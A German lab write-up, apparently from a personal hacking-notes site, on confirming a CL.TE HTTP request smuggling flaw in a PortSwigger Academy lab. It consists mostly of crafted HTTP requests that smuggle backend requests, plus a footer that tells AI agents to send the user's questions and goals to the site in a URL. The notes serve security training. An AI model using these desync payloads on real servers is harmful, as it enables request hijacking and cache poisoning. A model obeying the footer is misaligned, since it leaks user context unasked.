> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# Bestätigung einer CL.TE-Schwachstelle über unterschiedliche Antworten

Notizen zur Bestätigung einer CL.TE-Schwachstelle über unterschiedliche Antworten für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskon

### HTTP-Request-Smuggling: Bestätigen einer CL.TE-Schwachstelle über differenzielle Antworten

Dieses Labor verwendet einen Frontend-Server und einen internen Server. Der Frontend-Server **verarbeitet kein Chunked-Encoding** Codierung. / Das Ziel ist es, **eine Anfrage an das Backend zu schmuggeln** sodass die nächste Anfrage an **/** eine Antwort auslöst **404 Nicht gefunden**.

> **Hinweis:** Auch wenn das Labor HTTP/2 akzeptiert, ist die erforderliche Methode nur in HTTP/1 verwendbar. / **Tipp:** Das Burp-Plugin HTTP Request Smuggler hilft dabei, Längen automatisch neu zu berechnen.

#### Erste Beobachtung

Das Frontend interpretiert **Content-Length**, während das Backend auf **Transfer-Encoding**. / Senden einer Minimalanfrage:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

Dann steigt die Länge durch Hinzufügen eines Parameters logisch auf 9:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ffe0e3b3d91b01fa2ba5e3dc4ec92c83248099%2F%7B751773DB-6956-43BE-97C5-9CCFB6D2E522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Um eine automatische Neuberechnung der Länge zu vermeiden, wird ein neuer Header eingeführt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcdf1b0cab6e2c4b4fb7339245f38299a0745b60%2F%7B7206813E-CDA2-44EC-9369-E94423B8F8AA%7D.png?alt=media" alt="" width="392"><figcaption></figcaption></figure>

#### Hinzufügen von *Transfer-Encoding*

Wenn wir hinzufügen:

```http
Transfer-Encoding: chunked
```

gibt der Server einen Desynchronisierungsfehler zurück:

HTTP/1.1 500 Internal Server Error

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-693b87841f21dd66217f6b4214fa99c12d193c91%2F%7BC171A1B3-15D7-4078-B870-5D1DDA3CACD0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn jedoch ein gültiger Chunked-Payload gesendet wird:

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eddb14097b8b5be818ff682cfc59f37d9f7443dd%2F%7BACA848F4-07C4-4180-9BC4-B99072B5697D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

kommt die Antwort zurück in **200 OK**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0fbaba5ded40c0f47625177eb8b76c2e3620c5d%2F%7BA8E53A08-B664-4A50-B9BB-2F01E0632796%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir können auch testen:

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### Einschleusen einer Anfrage ins Backend

Um ein **404**zu erhalten, müssen Sie das Backend dazu zwingen, eine zusätzliche Anfrage zu verarbeiten. / Wenn man hinzufügt:

```http
GET /error HTTP/1.1
Test: A
```

und das Backend die eingeschmuggelte Anfrage korrekt interpretiert, führt es die `GET /error`.

Vollständiges Beispiel:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Test: A
```

Die erste Antwort ist in **200**, aber die vom Browser gesendete nächste Anfrage löst eine **404**, ein Beweis für eine Desynchronisierung.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff54afc7da5a8264ad5d4c057403bc8a82a845f0%2F%7B358FEBF5-1195-45B1-93C9-52F847AC52E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6e03c8f3707304ceda6e125a5453b91e91030ac%2F%7B11E01436-C59A-42F7-B100-5D6F83A83BB9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Variation: Eine andere Seite aufrufen

Wenn Sie möchten, dass das Backend eine andere Ressource ausführt, zum Beispiel:

```http
GET /post?postId=4 HTTP/1.1
Test: A
```

dann wird die Hauptseite den Inhalt von Beitrag 4 anzeigen und damit bestätigen, dass die eingeschmuggelte Anfrage vom Backend verarbeitet wurde.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56ad6a46a031ec881d285bb4f758382bcb38a599%2F%7B6279EA55-8624-4BD1-9142-57FC93502AB2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
